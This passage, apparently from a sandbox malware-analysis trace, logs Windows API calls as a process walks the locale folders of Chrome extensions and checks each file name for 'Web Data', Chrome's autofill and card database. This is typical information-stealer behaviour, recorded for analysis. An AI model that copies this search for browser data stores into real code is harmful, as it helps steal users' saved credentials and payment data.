IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\*.*" [0054.370] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.370] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.370] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.370] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.370] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.370] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.370] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.371] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.371] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.371] LocalFree (hMem=0x74cf00) returned 0x0 [0054.371] LocalFree (hMem=0x74d010) returned 0x0 [0054.371] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.371] lstrcmpiA (lpString1=".", lpString2="fil") returned -1 [0054.371] lstrcmpiA (lpString1="..", lpString2="fil") returned -1 [0054.371] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.371] lstrlenA (lpString="\\") returned 1 [0054.371] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74cf00 [0054.371] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.371] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.371] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.371] lstrlenA (lpString="fil") returned 3 [0054.371] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x74d010 [0054.371] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.371] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="fil" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil" [0054.371] LocalFree (hMem=0x74cf00) returned 0x0 [0054.371] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil") returned 132 [0054.371] lstrlenA (lpString="\\*.*") returned 4 [0054.371] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x75e920 [0054.371] lstrcpyA (in: lpString1=0x75e920, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil" [0054.371] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\*.*" [0054.371] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.371] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.371] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.372] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.372] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.372] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.372] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.372] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.372] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.372] LocalFree (hMem=0x75e920) returned 0x0 [0054.372] LocalFree (hMem=0x74d010) returned 0x0 [0054.372] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.372] lstrcmpiA (lpString1=".", lpString2="fr") returned -1 [0054.372] lstrcmpiA (lpString1="..", lpString2="fr") returned -1 [0054.372] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.372] lstrlenA (lpString="\\") returned 1 [0054.372] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74cf00 [0054.372] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.372] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.372] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.372] lstrlenA (lpString="fr") returned 2 [0054.372] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x74d010 [0054.372] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.372] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="fr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr" [0054.372] LocalFree (hMem=0x74cf00) returned 0x0 [0054.372] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr") returned 131 [0054.372] lstrlenA (lpString="\\*.*") returned 4 [0054.372] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x74cf00 [0054.372] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr" [0054.372] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\*.*" [0054.372] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.372] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.372] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.372] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.372] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.372] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.372] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.372] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.372] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.373] LocalFree (hMem=0x74cf00) returned 0x0 [0054.373] LocalFree (hMem=0x74d010) returned 0x0 [0054.373] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.373] lstrcmpiA (lpString1=".", lpString2="he") returned -1 [0054.373] lstrcmpiA (lpString1="..", lpString2="he") returned -1 [0054.373] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.373] lstrlenA (lpString="\\") returned 1 [0054.373] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74cf00 [0054.373] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.373] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.373] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.373] lstrlenA (lpString="he") returned 2 [0054.373] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x74d010 [0054.373] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.373] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="he" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he" [0054.373] LocalFree (hMem=0x74cf00) returned 0x0 [0054.373] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he") returned 131 [0054.373] lstrlenA (lpString="\\*.*") returned 4 [0054.373] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x74cf00 [0054.373] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he" [0054.373] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\*.*" [0054.373] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.373] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.373] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.373] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.374] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.374] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.374] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.374] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.374] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.374] LocalFree (hMem=0x74cf00) returned 0x0 [0054.374] LocalFree (hMem=0x74d010) returned 0x0 [0054.374] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.374] lstrcmpiA (lpString1=".", lpString2="hi") returned -1 [0054.374] lstrcmpiA (lpString1="..", lpString2="hi") returned -1 [0054.374] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.374] lstrlenA (lpString="\\") returned 1 [0054.374] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74cf00 [0054.374] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.374] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.374] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.374] lstrlenA (lpString="hi") returned 2 [0054.374] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x74d010 [0054.374] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.374] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="hi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi" [0054.374] LocalFree (hMem=0x74cf00) returned 0x0 [0054.374] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi") returned 131 [0054.374] lstrlenA (lpString="\\*.*") returned 4 [0054.374] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x74cf00 [0054.374] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi" [0054.374] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\*.*" [0054.374] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.374] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.374] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.374] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.374] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.374] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.374] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.374] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.374] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.374] LocalFree (hMem=0x74cf00) returned 0x0 [0054.374] LocalFree (hMem=0x74d010) returned 0x0 [0054.374] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.375] lstrcmpiA (lpString1=".", lpString2="hu") returned -1 [0054.375] lstrcmpiA (lpString1="..", lpString2="hu") returned -1 [0054.375] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.375] lstrlenA (lpString="\\") returned 1 [0054.375] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74cf00 [0054.375] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.375] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 